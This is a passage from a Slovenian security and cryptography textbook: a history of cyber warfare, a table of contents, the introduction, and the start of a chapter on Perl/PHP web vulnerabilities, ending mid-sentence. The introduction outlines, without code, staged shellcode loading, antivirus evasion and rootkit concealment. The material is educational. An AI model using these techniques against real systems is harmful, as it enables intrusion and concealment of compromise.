RAČUNALNIŠKA VARNOST IN ŠIFRIRANJE Ivan Verdonik Prolog Kibernetsko vojskovanje Kot je primer z mnogimi novimi odkritji, so tudi z razvojem računalništva kmalu spoznali njegovo uporabnost za vojaške namene; pravzaprav je bila to ena prvih uporab. Med drugo svetovno vojno je npr. Anglija v Bletchley Parku imela dešifrirno enoto, ki je uspešno dešifrirala številna sporočila nemške armade (šifrirana z napravo Enigma), tudi s pomočjo računalnika Colossus (ki je bil prvi elektronski programabilni računalnik na svetu) konstruiranim posebej za ta namen. S časom so računalniki našli pot v skoraj vse rodove vojske, vendar se samo bojevanje med računalniki razvija nekje od leta 1990. Kibernetski napadi pa so medijsko odmevni nekako od leta 2006. Treba pa se je zavedati, da vlade (pa tudi podjetja) takšnih dogodkov ne objavijo, ne kadar so napadalci ne kadar so žrtve, zato pride v javnost le prgišče incidentov. Ker pa je področje toliko dozorelo, nekatere države že javno ustanavljajo ustrezne oddelke. Leta 2010 so Združene države Amerike ustanovile USCYBERCOM (U.S. Cyber Command) za zaščito svojih vojaških omrežij ter za napade na sisteme drugih držav, medtem ko je Evropska unija vzpostavila ENISA (European Network and Information Security Agency). ZDA imajo poleg USCYBERCOM-a še ustrezen oddelek na ministrstvu za domovinsko varnost. Tudi ostale države po svetu že imajo svoje organizacije za kibernetsko vojskovanje (čeprav vse tega ne priznavajo): Rusija, Kitajska, Pakistan, Indija, Anglija, Izrael … pa tudi Iran, ki se hvali, da je na tem področju druga najmočnejša država. Že v prvi zalivski vojni leta 1991 so Američani kibernetsko napadli iraška komunikacijska omrežja. Leta 1999 so v kosovski vojni uspešno vdrli v srbske sisteme in v veliki meri onesposobili protizračno obrambo. Leta 2006 so ruski hekerji in znanstveniki napadli izraelske sisteme med njegovo vojno s Hezbolahom. Tako se je Izrael zavedel pomena kibernetskega vojskovanja in ga uporabil 2007 v letalskem napadu na Sirijo. Ko so leta 2007 v Estoniji odstranili bronasti spomenik (ruskega) vojaka, so jih napadli ruski (državni) hekerji. Tarče so bili vladni, bančni in medijski sistemi. NATO je zaradi tega ustanovil posebno enoto in državi poslal specialiste za računalniško varnost. V naslednjih letih se je zgodilo več manjših incidentov med sovražnimi državami. Potem so leta 2010 odkrili črv Stuxnet, ki je blokiral in uničeval centrifuge za bogatenje urana v iranskem jedrskem kompleksu Natanz. To je bil najbolj dovršen zlonameren program do tedaj. Po začetnih ugibanjih se je pokazalo, da sta za njim stala služba za domovinsko varnost in izraelska Enota 8200. Ta je nazadnje neprevidno spreminjala kodo, tako da se črv ni več samodejno odstranil v primeru vzpostavljene povezave z internetom (Natanz verjetno ni povezan v medmrežje, uporablja lokalno omrežje). Tako je iz kompleksa, verjetno preko kakšnega prenosnega računalnika, USB-ključa ali česa podobnega, prišel v internet in se razširil po številnih državah, celo v ZDA in Nemčijo. Septembra 2011 so na madžarski univerzi za tehnologijo in ekonomijo v laboratoriju CrySys odkrili črva DuQu. Po analizi so ugotovili, da je zelo podoben Stuxnetu, le da je njegov namen prikrito zbiranje informacij o sistemu (beleženje pritisnjenih tipk, zajemanje zaslonskih slik, omrežnega prometa itd.), in ne uničevanje proizvodnega procesa kot Stuxnetov. Zaradi tega se njegovo avtorstvo prav tako pripisuje navezi ZDA-Izrael. Maja 2012 so iranski narodni CERT (Computer Emergency Response Team), Kaspersky Lab in (ponovno) CrySys objavili, da so odkrili najkompleksnejši zlonamerni program (malware) dotlej, velik celih 20 MB (npr. Stuxnet, tudi označen za velikega, ima vsega 500 kB). Namenjen naj bi bil za vohunjenje po državah Bližnjega vzhoda. Po enem od njegovih modulov (vseh je 10) so ga poimenovali Flame. Ocenjeno je, da je aktiven vsaj od leta 2010, datoteko z imenom glavne komponente pa so opazili že leta 2007. Kot rečeno, črv je zelo kompleksen in še dolgo (ca. 10 let) ne bo povsem analiziran. Iran sicer trdi, da so izdelali orodje za njegovo zaznavo in odstranitev. Tudi avtorstvo Flama pripisujejo, po poročanju nekaterih medijev, ZDA (NSA, CIA) in Izraelu. Računalniški kriminal Računalniški kriminal je obsežno področje, tukaj nas zanimajo le hekerski vdori v sisteme preko ranljivosti računalniške programske opreme. Ti vdori nato omogočajo krajo identitete, tudi skupaj s podatki iz kreditnih kartic, ter zatem napade na spletno bančništvo in možnost plačevanja z (ukradenimi) kreditnimi karticami. Pri tem so lahko posledice še hujše kot samo finančne. Tako se je že zgodilo, da so tatovi z ukradenimi podatki plačevali tudi dostop do otroške pornografije na spletu. Potem ko je policija razkrila verigo, so na podlagi takih podatkov (ugledne) nedolžne osebe obtožili pedofilije. Nekateri med njimi so celo storili samomor, potem ko so mediji objavili njihovo identiteto. V zadnjem času se napadalci vse bolj usmerjajo na korporacije, saj le-te operirajo z večjimi zneski in opravijo več transakcij, tako se napadi nanje bolj splačajo in kasneje jih opazijo. Pravne osebe imajo pri tem dodaten problem v tem, da jim banke praviloma ne povrnejo nastale škode (medtem ko fizičnim komitentom, nad določenim (manjšim) zneskom, večinoma jo). Napadi na podjetja so pogosto povezani z notranjimi pomočniki (ki so se morda prav zaradi tega zaposlili), ali z (neprostovoljno) odpuščenim, jeznim uslužbencem. Pri zbiranju informacij za vdor, se napadalci večkrat poslužujejo tudi zunanjega ali notranjega socialnega inženiringa (nad preveč zaupljivimi uslužbenci). OPOZORILO: NEKATERI »TRIKI« IN ORODJA SO LAHKO ZASTARELI KER JE KAR NEKAJ POGLAVIJ NAPISANIH PRED OD 5 DO SKORAJ 10 LET (2005). VSEENO, KONCEPTI SO OSTALI. KNJIGA TUDI NUDI DOBER VPOGLED V HEKERSKO RAZMIŠLJANJE. V DRUGEM DELU – ŠIFRIRANJE - JE SPREMEMB MALO IN JE PRAKTIČNO VSE ŠE VEDNO AKTUALNO (IN BO ŠE VERJETNO KAR NEKAJ LET) Kazalo 1 Uvod ........................................................................................................................................... 11 2 Nevarnosti pri skriptnih jezikih v spletnih aplikacijah ............................................................... 14 2.1 Uvod .................................................................................................................................... 14 2.2 Kratek uvod v regularne izraze ............................................................................................ 14 2.3 Perl in Perl CGI ..................................................................................................................... 16 2.3.1 Perl in ničelni znak ........................................................................................................ 16 2.3.2 Težave s poševnicami ................................................................................................... 17 2.3.3 Težave s cevmi .............................................................................................................. 18 2.3.4 Veljavnost znakov v UTF-8 zapisu ................................................................................. 19 2.3.5 Preprečevanje napadov s skripti med spletnimi mesti ................................................ 21 2.3.6 Preprečevanje SQL vrivanja .......................................................................................... 23 2.4 PHP ..................................................................................................................................... 25 2.4.1 Globalne spremenljivke ................................................................................................ 25 2.4.2 Vključevanje datotek z medmrežja .............................................................................. 26 2.4.3 Nalaganje uporabnikovih datotek ................................................................................ 27 2.4.4 Seje ............................................................................................................................... 28 2.4.5 Klici zunanjih funkcij ..................................................................................................... 29 2.5 Zaključek .............................................................................................................................. 30 2.6 Viri in literatura ................................................................................................................... 30 3 Prekoračitve vmesnika (Buffer Overflow) .................................................................................. 31 3.1 Uvod .................................................................................................................................... 31 3.2 Osnove ................................................................................................................................. 31 3.3 Prekoračitev sklada.............................................................................................................. 32 3.4 Varno kodiranje ................................................................................................................... 43 3.5 Zaščita s prevajalniki ............................................................................................................ 44 3.6 Zaščita pri povezovanju programa ...................................................................................... 45 3.7 Oteževanje zlorabe na nivoju operacijskega sistema .......................................................... 45 3.8 Oteževanje zlorabe na nivoju strojne opreme .................................................................... 46 3.9 Sklep .................................................................................................................................... 46 3.10 Viri informacij .................................................................................................................... 47 4 Varnostni problemi pri uporabi kopice ...................................................................................... 47 4.1 Uvod .................................................................................................................................... 47 4.2 Delovanje kopice v oknih ..................................................................................................... 48 4.2.1 Polje FreeLists ............................................................................................................... 49 4.2.2 Polje Lookaside Lists ..................................................................................................... 50 4.2.3 Algoritma za alokacijo in sproščanje prostora na kopici .............................................. 50 4.3 Zloraba kopice v Oknih 2000 – XP SP 1................................................................................ 51 4.4 Varnostne izboljšave kopice v Oknih XP SP 2 ...................................................................... 51 4.5 Zloraba kopice v XP SP2 in 2k3 SP1 .................................................................................... 52 4.6 Sklep .................................................................................................................................... 53 4.7 Viri in Literatura ............................................................................................................. 53 5 Lupinska koda in kodirniki .......................................................................................................... 53 5.1 Uvod .................................................................................................................................... 53 5.2 Lupinska koda ...................................................................................................................... 54 5.2.1 Izvedba poljubne kode (arbitrary code execution) ..................................................... 54 5.2.2 Vrnjena lupina (reverse shell). ...................................................................................... 54 5.2.3 Povezava na vrata (portbind). ...................................................................................... 55 5.2.4 Odkrivanje vtičnice (findsocket) ................................................................................... 55 5.2.5 Snemi/poženi (Download/Execute) izvedljivo datoteko. ............................................. 56 5.2.6 Družina večkoračnih oblik nalaganja lupinske kode (Staged Loading Shellcode). ....... 56 5.2.7 Vbrizganje dinamične knjižnice (DLL Injection). ........................................................... 56 5.3 Kodirnika .............................................................................................................................. 56 5.3.1 Pridobivanje naslova trenutne instrukcije .................................................................... 57 5.3.2 Delovanje (de)kodirnikov ............................................................................................. 57 5.3.3 (De)kodirniki s kontekstnimi ključi. .............................................................................. 58 5.4 METASPLOIT ........................................................................................................................ 59 5.5 SKLEP ................................................................................................................................... 60 5.6 VIRI IN LITERATURA ....................................................................................................... 60 6 ROOTKITI IN OKNA ...................................................................................................................... 61 6.1 Uvod (kaj je rootkit in čemu služi ) ...................................................................................... 61 6.2 Instalacija jedrnega rootkita sestavljenega v obliki samostojnega gonilnika ...................... 62 6.3 Skrivanje rootkit gonilnikov ................................................................................................. 62 6.4 Zmogljivosti rootkit gonilnika .............................................................................................. 62 6.5 Hooking ................................................................................................................................ 63 6.5.1 Hooking na nivoju jedra (Kernel Hooking) .................................................................... 63 6.5.2 Hooking tabele SST ....................................................................................................... 63 6.5.3 Hooking tabele IDT ....................................................................................................... 63 6.5.4 Hooking SYSENTER........................................................................................................ 63 6.5.5 Hooking na uporabniškem nivoju (Userland Hooking) ................................................. 64 6.5.6 Hooking na uporabniškem nivoju s tabelo IAT ............................................................. 64 6.5.7 Inline Function Hooking ................................................................................................ 64 6.5.8 Hibridni hooking ........................................................................................................... 64 6.6 Neposredna manipulacija z objekti v jedru ......................................................................... 65 6.7 Skrivanje procesov z DKOM ................................................................................................. 65 6.8 Skrivanje gonilnikov z DKOM ............................................................................................... 65 6.9 Dvigovanje pravic procesov ................................................................................................. 66 6.10 Skriti kanali (COVERT CHANNELS) ..................................................................................... 66 6.11 Zaščita pred rootkiti .......................................................................................................... 67 6.12 Zaznavanje rootkitov ......................................................................................................... 67 6.13 Zaznavanje nenavadnega obnašanja ................................................................................. 67 6.14 Sklep .................................................................................................................................. 68 6.15 Viri in Literatura ................................................................................................................. 68 7 Analiza črva conficker ................................................................................................................. 68 7.1 Uvod .................................................................................................................................... 68 7.2 Zgodovina in osnovne značilnosti ........................................................................................ 69 7.3 Različica Conficker.A ............................................................................................................ 70 7.4 Različica Conficker.B ............................................................................................................ 70 7.5 Različica Conficker.C ............................................................................................................ 74 7.6 Različica Conficker.D ............................................................................................................ 74 7.7 Različica Conficker.E ............................................................................................................ 75 7.8 Opis ranljivosti ..................................................................................................................... 75 7.9 Posodabljanje s http ............................................................................................................ 75 7.10 Posodabljanje vsak z vsakim (P2P – Peer-to-Peer) ............................................................ 76 7.12 Sklep .................................................................................................................................. 77 7.13 Viri in literatura ............................................................................................................. 77 8 Avtorska zaščita digitalnih vsebin ............................................................................................... 78 8.1 Uvod .................................................................................................................................... 78 8.2 Načini preprečevanja nelegalne uporabe digitalnih vsebin ................................................ 78 8.2.1 Uvod ............................................................................................................................. 78 8.2.2 Zaščita preko omejitve multipliciranja materialnih nosilcev digitalnih vsebin ............ 78 8.2.3 Serijske številke ............................................................................................................ 79 8.2.4 Serijske številke ter protokol odgovor na zahtevo ....................................................... 79 8.2.5 Strojna avtorska zaščita s strojnim ključem ................................................................. 80 8.2.6 Zaščita glasbe in filmov ................................................................................................. 81 8.3 Kako učvrstiti zaščito ........................................................................................................... 82 8.4 Sklep .................................................................................................................................... 84 8.5 Literatura ............................................................................................................................. 84 9 Načini overjanja in napadi .......................................................................................................... 84 9.1 Uvod .................................................................................................................................... 84 9.2 Enosmerna funkcija (Oneway Function) ............................................................................. 85 9.3 Pomen overjanja .................................................................................................................. 85 9.4 Protokoli za vzpostavitev ključa za overjanje s pomočjo šifriranja (Protocols for Authenticated Key Establishment Using Encryption) ................................................................ 86 9.4.1 Protokol od A do B ........................................................................................................ 86 9.4.2 Protokol od A do B s ključem za sejo ............................................................................ 87 9.4.3 Napadi na protokol od A do B s ključem za sejo .......................................................... 88 9.4.4 Protokol za overjanje sporočil (Protocol Message Authentication .............................. 89 9.4.5 Napad s ponovnim pošiljanjem sporočila (Message Replay Atack) ............................. 89 9.4.6 Protokol poziv-odgovor (protocol challenge-response Needham-Schroeder) ............ 90 9.4.7 Protokol za overjanje entitet (Protocol With Entity Autentication) ............................. 91 9.4.8 Protokol z javnim ključem ............................................................................................ 91 9.4.9 Napad na protokol z javnim ključem ............................................................................ 92 9.5 Literatura ............................................................................................................................. 92 10 Tehnike overjanja v praksi (ZARADI OBŠIRNOSTI TEMATIKE VSE NI OBDELANO - ŠKRBINE) ... 92 10.1 Uvod .................................................................................................................................. 92 10.2 Osnovne tehnike overjanja ................................................................................................ 92 10.2.1.Kontrola svežosti sporočil in živosti entitet ................................................................ 92 10.3. Obojestranska overitev (Mutual Authentication) ............................................................ 96 10.4 Overitve z uporabo Trent-a (Trusted Third Party) ............................................................. 96 10.4.1 Kerberos ..................................................................................................................... 96 10.5 Overitve na osnovi gesla (PAKE - Password-Autheticated Key Agreement) ..................... 96 10.5.1 Needham's Password Protocol ................................................................................... 97 10.5.2 Shema z enkratnimi gesli (One-time Password Scheme) ........................................... 97 10.5.3 Izmenjava šifriranega ključa (EKE Encrypted Key Exchange) ...................................... 97 10.5.4. SRP (Secure Remote Password protocol) .................................................................. 98 10.6 IPSec .................................................................................................................................. 99 10.7 IKE (Internet Key Exchange) protokol .............................................................................. 101 10.8 STS (Station-to-Station) protokol .................................................................................... 101 11 Asimetrično šifriranje (asymmetric cryptography) ................................................................ 102 11.1 Uvod ................................................................................................................................ 102 11.2 Matematične osnove ....................................................................................................... 103 11.3 Diskretni logaritem (Discrete Logarithm) ........................................................................ 103 11.4 Diffie-Helmann izmenjava ključa ..................................................................................... 104 11.5 Eliptične krivulje .............................................................................................................. 104 11.6 Diffie-Helmann z eliptičnimi krivuljami ........................................................................... 105 11.7 Elgamal šifriranje ............................................................................................................. 106 11.8.RSA................................................................................................................................... 106 11.8.1 Generiranje ključev za RSA ....................................................................................... 106 11.8.2 Šifriranje in dešifriranje z RSA .................................................................................. 107 11.8.3 Razdeljevanje ključev................................................................................................ 107 11.9 Sklep ............................................................................................................................ 108 11.10 Viri in literatura ............................................................................................................. 108 12 Simetrični šifrirni algoritmi ..................................................................................................... 108 12.1 Uvod ................................................................................................................................ 108 12.2 Klasične šifrirne metode .................................................................................................. 109 12.2.1 Zamenjava znakov (Substitution Cipher) .................................................................. 109 12.2.2 Večabecedna šifriranja (Polyalphabetic Ciphers) ..................................................... 109 12.2.3 Vernamovo šifriranje (Vernam Cipher) .................................................................... 110 12.2.4 Šifriranja s premešanjem znakov (Transposition Ciphers) ....................................... 110 12.3 Moderni simetrični blokovni šifrirni algoritmi ................................................................. 110 12.3.1 DES (Data Encryption Standard) ............................................................................... 110 12.3.2 Triple DES .................................................................................................................. 113 12.3.3 AES (Advanced Encryption Standard) ....................................................................... 113 12.4 Načini operacij (Block Cipher Modes of Operation) ........................................................ 115 12.5 Dopolnjevanje (Padding) ................................................................................................. 115 12.6 Sklep ................................................................................................................................ 116 12.7 Literatura ......................................................................................................................... 116 13 Celovitost podatkov (Data Integrity) ...................................................................................... 116 13.1 Uvod ................................................................................................................................ 116 13.2 Definicija celovitosti podatkov ........................................................................................ 116 13.3 Simetrični algoritmi ......................................................................................................... 117 13.4. Kriptografske zgoščevalne funkcije ................................................................................ 117 13.5 Celovitost in overitev sporočil z zgoščevalnimi funkcijami s ključem (HMAC) ................ 118 13.6 Celovitost in overitev sporočil z blokovnimi simetričnimi šifrirnimi algoritmi ................ 118 13.7 Asimetrični algoritmi in elektronski podpisi .................................................................... 118 13.8 Elektronski podpis z ElGamal (ElGamal signature scheme) ............................................. 118 13.9 DSA (Digital Signature Algorithm) ................................................................................... 119 13.10 Schnorr-ov elektronski podpis (Schorr signature) ......................................................... 120 13.11 Elektronski podpis z eliptičnimi krivuljami (Elliptic Curve DSA) .................................... 120 13.12 Izvedba in vrste kriptografskih zgoščevalnih funkcij (Cryptographic Hash Functions) . 121 13.12.1 MD5 (Message-Digest Algorithm 5) ....................................................................... 121 13.12.2 SHA-1 (Secure Hash Algorithm 1) ........................................................................... 122 13.13 Literatura ....................................................................................................................... 123 14 Kriptografske zgoščevalne funkcije ........................................................................................ 123 14.1 Uvod ................................................................................................................................ 123 14.2 Kriptografske zgoščevalne funkcije ................................................................................. 124 14.2.1 Konstrukcija Merkle-Damgard .................................................................................. 124 14.2.2 Konstrukcija HAIFA ................................................................................................... 125 14.2.3 Konstrukcija Sponge ................................................................................................. 125 14.3 Funkcija Keccak ................................................................................................................ 126 14.3.1 Glavni algoritem Keccak ........................................................................................... 129 14.4 Sklep ................................................................................................................................ 130 14.5 Literatura ......................................................................................................................... 130 A KRIPTOGRAFSKA zgoščevalna funkcija BLAKE ......................................................................... 131 UVOD ....................................................................................................................................... 131 KRIPTOGRAFSKE ZGOŠČEVALNE FUNKCIJE.............................................................................. 131 KOMPRESIJSKE FUNKCIJE ........................................................................................................ 132 BLAKE kriptografska zgoščevalna funkcija ............................................................................... 134 ZAKLJUČEK ............................................................................................................................... 137 VIRI IN LITERATURA ................................................................................................................. 137 B Kriptografska zgoščevalna funkcija Groestl .............................................................................. 138 Uvod ........................................................................................................................................ 138 Kriptografska zgoščevalna funkcija Groestl ............................................................................. 140 AddRoundConstant ................................................................................................................. 141 Zaključek .................................................................................................................................. 142 Literatura ................................................................................................................................. 143 C Kriptografska zgoščevalna funkcija JH ..................................................................................... 143 Uvod ........................................................................................................................................ 143 JH ............................................................................................................................................. 144 Funkcija runde (Round function) 𝑹𝒅....................................................................................... 146 Bijektivna funkcija (Bijective function) 𝑬𝒅 .......................................................................... 146 Kompresijska funkcija (Compression function) 𝑭𝒅 ............................................................. 146 Zaključek .................................................................................................................................. 147 Literatura ................................................................................................................................. 147 D SAML – Označevalni jezik za varnostne trditve ........................................................................ 148 Več o SSO ................................................................................................................................. 148 SAML Trditev (Assertion ) ........................................................................................................ 149 SAML Protokol ......................................................................................................................... 151 Izvedba SAML protokola .......................................................................................................... 153 Prenos informacij med spletišči ............................................................................................... 155 Enkratna prijava s SAML artefaktom ................................................................................... 156 Enkratna prijava s HTML POST formo ................................................................................. 157 Sklep ........................................................................................................................................ 158 E Kontrola dostopa v Linux in Windows Uvod ........................................................................ 159 Varnostni modeli za kontrolo dostopa .................................................................................... 159 DACL – Discretionary Access Control Lists .......................................................................... 159 SACL – System Access Control Lists ..................................................................................... 159 MAC – Mandatory Access Control ........................................................................................... 160 RBAC – Role Based Access Control .......................................................................................... 160 Kontrolni seznami dostopa v Linux .......................................................................................... 160 RSBAC ogrodje za Linux ........................................................................................................... 162 Audit na Linux .......................................................................................................................... 163 Seznami za kontrolo dostopa na Windows ............................................................................. 164 Sklep ........................................................................................................................................ 164 Literatura ................................................................................................................................. 165 1 Uvod V tej knjigi opisujemo osnovna znanja, na podlagi katerih države izvajajo kibernetsko vojskovanje, ki jih kriminalci uporabljajo za vdore v računalnike, krajo podatkov, hekerji za dokazovanje svojega znanja, računalniški forenziki za razkrivanje navedenega, varnostni inženirji pa za zaščito uporabnikov. Najprej bomo opisali varnostne probleme v skriptnih jezikih, posebej pri priljubljenima Perlu in PHP-ju. Skriptni programski jezik Perl (Practical Extraction and Reporting Language) je splošno namenski jezik, največ pa se uporablja za CGI (Common Gateway Interface) spletne aplikacije. Njegova koda se interpretira, jedro tega interpreterja je napisano v jeziku C, s čimer so povezane tudi nekatere njegove ranljivosti. PHP je splošno namenski programski jezik za izdelavo dinamičnih spletnih strani in deluje na strani spletnega strežnika (server-side scripting). Deluje na skoraj vseh spletnih strežnikih in platformah ter je brezplačen. Žal pa so z njim povezane številne ranljivosti, skoraj 30% od vseh, ki so v nacionalni zbirki ranljivosti (National Vulnerability Database)), predvsem zaradi nepazljivega programiranja. Sledita opisa osrednjih varnostnih težav programskih jezikov C in C++. Kadar pri njima velikost vmesnika na skladu ali kopici ni dobro omejena, je mogoče vstaviti zlonamerno kodo. To napako imenujemo prekoračitev vmesnika na skladu oziroma prekoračitev vmesnika na kopici. Čeprav sta ranljiva samo C in C++, je to velik problem, saj so prav v tema jezikoma napisani skoraj vsi ključni programi (operacijski sistemi, sistemska programska oprema itd.). Ko je prekoračitev enkrat odkrita, napadalec potrebuje dostop do napadenega računalnika. To stori z vstavljanjem lupinske kode (Shellcode), za katero ima v odvisnosti od situacije več izbir. Vstavljanje lupinske kode, zaradi omejenosti prostora v ranljivem vmesniku, večkrat poteka v dveh ali več korakih. V prvem koraku se vstavi najpomembnejši del, ki je lahko tudi velikosti manjše od 100 bajtov. Nato pa ta vstavljena koda v naslovnem prostoru procesa poišče večji (prosti) del spomina in vanj naloži glavni del lupinske kode. Delo mu otežujejo razni varnostni (požarni zidovi, detektorji vdorov …) in predvsem protivirusni programi, zaradi česar mora programe za napad ustrezno prilagajati, tako da (p)ostanejo neopazni. Ko so hekerjevi programi enkrat nameščeni na sistemu žrtve, jih napadalec s korenskimi kompleti (rootkit) skriva pred legalnim uporabnikom. Korenski kompleti v glavnem spadajo med zlonamerno programsko opremo, čeprav se lahko uporabljajo tudi legalno, na primer za zaščito pred krajo, zaščito avtorskih pravic, zaznavanje napadov itd. V operacijskih sistemih (OS) windows imamo korenske komplete za uporabniški del OS (user-mode, ring 3) in/ali za jedro OS (kernel-mode, ring 0). Prve je lažje izdelati, vendar mora napadalec »okužiti« spominski prostor vsake aplikacije ki se izvaja. Druge je mnogo težje zaznati, a je programiranje zahtevno, ker so funkcije v jedru nizkonivojske, takšni kompleti večkrat destabilizirajo operacijski sistem. Med škodljivo programsko opremo so tudi razni trdovratni črvi (kot smo jih omenjali pri kibernetskem vojskovanju), ki se širijo po omrežjih. Pri tem »okužijo« tudi po več milijonov računalnikov, ki jih nato obvladujejo na daljavo ter uporabljajo za same po sebi kriminalne namene. Napadalci neprestano spreminjajo kodo črva (oziroma se ta spreminja sama), protivirusni programi jim prepočasi sledijo, analiza črva je pogosto zelo zahtevna. Opisali bomo praktičen primer črva, ki se ga je oprijelo ime Conficker. Obravnavamo tudi kršenje avtorskih pravic z odstranitvijo zaščite pred nelegalnim kopiranjem in uporabo, posebej programske opreme (Software cracking). To je za avtorje zelo boleče, veliko vložijo v razvoj svojega izdelka, potem pa nekdo z njega odstrani zaščito in ga uporablja ali celo trži naprej, kot da je njegov. Šifriranje Že od pradavnine obstaja potreba, da nekatere informacije ostanejo zaupne, omejene zgolj na določene, pooblaščene osebe. To je verjetno najbolj pomembno v vojnem času. Zelo znano je, da je na primer Julij Cezar s svojimi vojskovodjami komuniciral s tajnimi, to je šifriranimi sporočili. Dotičen način šifriranja imenujemo kar Cezarjevo šifriranje, v njem je vsaka črka zamenjana s četrto naslednjo črko. Dandanes je šifriranje najbolj važno pri uporabi v računalništvu (vključno z vgrajenimi sistemi (embedded systems)), zato bomo opisali le šifrirne metode, ki se uporabljajo pri tem. Sodobno šifriranje upošteva Kerchoffs-ov princip, ki pravi, da mora šifrirni sistem ostati varen, tudi če sovražnik pozna postopek šifriranja, edina skrivnost naj bo šifrirni ključ, ali geslo. Šifriranje ima več področij, najpomembnejša so: overjanje, asimetrični šifrirni algoritmi, simetrični šifrirni algoritmi in kriptografske zgoščevalne funkcije. Overjanje pravzaprav ni šifriranje samo po sebi, ampak neka vrsta sporazumevanja med stranema(i), da sta (so) res tisti(e), za katere se predstavljata(jo), toda pri tem vsebuje, glede na vrsto, asimetrične in/ali simetrične algoritme in/ali kriptografske zgoščevalne funkcije. Pomembna je delitev na dvopartitne in tripartitne overitvene sheme. Pri dvopartitnih poteka predstavljanje med dvema stranema, pri tripartitnem pa med tremi. V slednjem primeru je običajno osrednja entiteta tako imenovani Trent (Trusted Third Party), šele preko njega drugi dve strani vzpostavita (šifrirano) komunikacijo. Asimetrični šifrirni algoritmi so relativno novo (prva objava o njih izvira iz leta 1976), a zelo pomembno področje. Gre za šifriranje z dvema ključema, javnim in zasebnim. Pri tem je algoritem takšen, da je to, kar se šifrira z javnim ključem, mogoče dešifrirati samo z zasebnim ključem in obratno. Za varnost asimetričnega šifriranja je najpomembnejše, da res vemo, komu pripada posamezen javni ključ (zadeva je neprijetna, običajno pa jo rešujemo z infrastrukturo javnih ključev (PKI)). Idejo pogosto primerjajo s pismom in poštnim nabiralnikom, naslov na pismu, ki spada v dotični poštni nabiralnik, predstavlja javni ključ, ki je znan (mnogim), vendar ima ključ od nabiralnika samo lastnik in ta njegov ključ predstavlja šifrirni zasebni ključ. Matematična osnova za asimetrično šifriranje izhaja iz RSA problema (faktorizacija praštevil) in problema diskretnega logaritma. Asimetrično šifriranje omogoča tudi pomembno dodatno storitev: elektronsko podpisovanje, po katerem entiteta, ki je (elektronski) podpisnik, ne more trditi, da določene transakcije ni izvedla, če jo je resnično podpisala in oddala. Simetrično šifriranje je verjetno najstarejše znano šifriranje (sem spada že omenjeno Cezarjevo šifriranje), pri njem je značilno, da se isti ključ uporablja tako za šifriranje kot za dešifriranje in tudi algoritmi so za oboje enaki, le da se dešifriranje izvaja v obratni smeri glede na šifriranje. Osnovne operacije v sodobnih simetričnih šifrirnih algoritmih so: ekskluzivni ali (XOR), dvojiško seštevanje, rotiranje bitov, množenje z matriko, permutacije elementov zamenjava znakov (substitucija). Nadalje ločimo glede na konstrukcijo algoritmov Feistel omrežje (ki ga npr. uporablja algoritem DES) in substitucijsko-permutacijsko omrežje (Substitution-Permutation Network) (ki ga uporablja npr. algoritem AES). Kriptografske zgoščevalne funkcije se uporabljajo predvsem za izdelavo »prstnega odtisa« sporočila, in sicer se dva izhoda razlikujeta le, kadar se tudi vhoda razlikujeta med seboj. S tem lahko ugotovimo na primer, če se je sporočilo med prenosom spremenilo (bodisi zaradi motenj med prenosom bodisi zaradi posega napadalca) ali ne. Dva razreda kriptografskih zgoščevalnih funkcij sta enosmerne zgoščevalne funkcije in zgoščevalne funkcije, odporne na trke. Pri enosmernih je najpomembnejša lastnost, da iz rezultata (izhoda) ni mogoče sklepati (ugotoviti) o vhodu – ne vemo, kakšno je bilo vhodno sporočilo, pri odpornih na trke pa, da dva različna vhoda ne dasta istega izhoda. Običajno pa zahtevamo kar oboje.Glavni način konstrukcije kriptografskih zgoščevalnih funkcij je Merkle-Damgardova konstrukcija, po kateri poljubno dolg vhod razdelimo na bloke fiksne dolžine ter te bloke enega po enega obdelamo s kompresijsko funkcijo. Kompresijska funkcija vsebuje funkcijo runde, ki je običajno (prilagojen) bločni simetrični šifrirni algoritem. 2 Nevarnosti pri skriptnih jezikih v spletnih aplikacijah 2.1 Uvod Zlorabe v spletnih rešitvah so vedno pogostejše, saj klasični požarni zid običajno dobro varuje lokalno omrežje podjetja pred napadalci in se ti zato usmerjajo na nove cilje. Požarni zidovi za spletne aplikacije še niso toliko v uporabi, pa tudi povsem zanesljivi niso. Zaradi tega moramo pri programiranju spletnih rešitev uporabljati varnostne mehanizme, ki jih ponujajo orodja za izdelavo aplikacij sama. V prispevku smo se usmerili na obdelavo varnosti spletnih rešitev v programskih jezikih Perl in PHP, ki se pogosto uporabljata v ta namen. Poleg tega bomo pokazali nekatere splošne spletne ranljivosti, ki so značilne za vsa orodja. Z varnostnega vidika je najpomembnejša obravnava vhodnih podatkov. Spletne aplikacije temeljijo na znani arhitekturi MVC (Model View Controller): uporabniški odjemalec je spletni brskalnik, vmesni člen je aplikacijski strežnik, v katerem se nahaja programska logika, tretji člen pa je podatkovna zbirka. Spletne rešitve so vse bolj razširjene in podjetja jim posvečajo vedno več pozornosti, tako tista, ki ponujajo orodja za njihovo izdelavo, kot druga, ki spletne rešitve programirajo in tretja, ki jih uporabljajo. Zaradi takšne razširjenosti, pa tudi zato, ker njihova varnost še ni povsem dorečena, so spletne rešitve priljubljena tarča hekerjev. Ne glede na uporabljeno tehnologijo (operacijski sistem, spletni strežnik, aplikacijski strežnik, programski jezik, SUPB – sistem za upravljanje podatkovnih baz), obstaja več tipov spletnih napadov, ki ogrožajo vse: skripte med spletnimi mesti (XSS – Cross-Site Scripting), SQL vrivanje (SQL Injection), premikanje med imeniki (path traversal), URL kodiranje, spreminjanje HTML form (Form Tampering), kanonikalizacija (Canonicalization), klici funkcij operacijskega sistema ... Praktično vse te ranljivosti spletnih rešitev izvirajo iz ne dovolj preverjenih uporabniških vnosov. Preverjanje ni vedno enostavno delo, k sreči pa je v večini programskih jezikov, ki se uporabljajo za programiranje spletnih rešitev, na razpolago več uporabniških funkcij, s katerimi brez prevelikega napora zmanjšamo možnosti zlorab . Spletno rešitev lahko v celoti izdelamo z brezplačnimi orodji (in takšnih je tudi največ), zato smo se tudi odločili za predstavitev varnostnih groženj in zaščite pred njimi, v zelo razširjenemu Perl- u ter posebej PHPju. Sicer obstaja še kar nekaj drugih skriptnih jezikov v ta namen (npr. Tcl/Tk, Python, Ruby ...), ki pa zaenkrat še niso tako uveljavljeni. 2.2 Kratek uvod v regularne izraze Regularni izrazi so jezik končnih avtomatov, kot so definirani v teoriji računalništva. V pričujočem članku jih veliko uporabljamo. Njihova sintaksa je v obeh jezikih, ki jih obravnavamo (Perl in PHP), enaka. Z njimi opisujemo znakovne nize in nad nizi izvajamo operacije iskanja in zamenjave. Sestavljeni so iz vzorcev običajnih znakov in 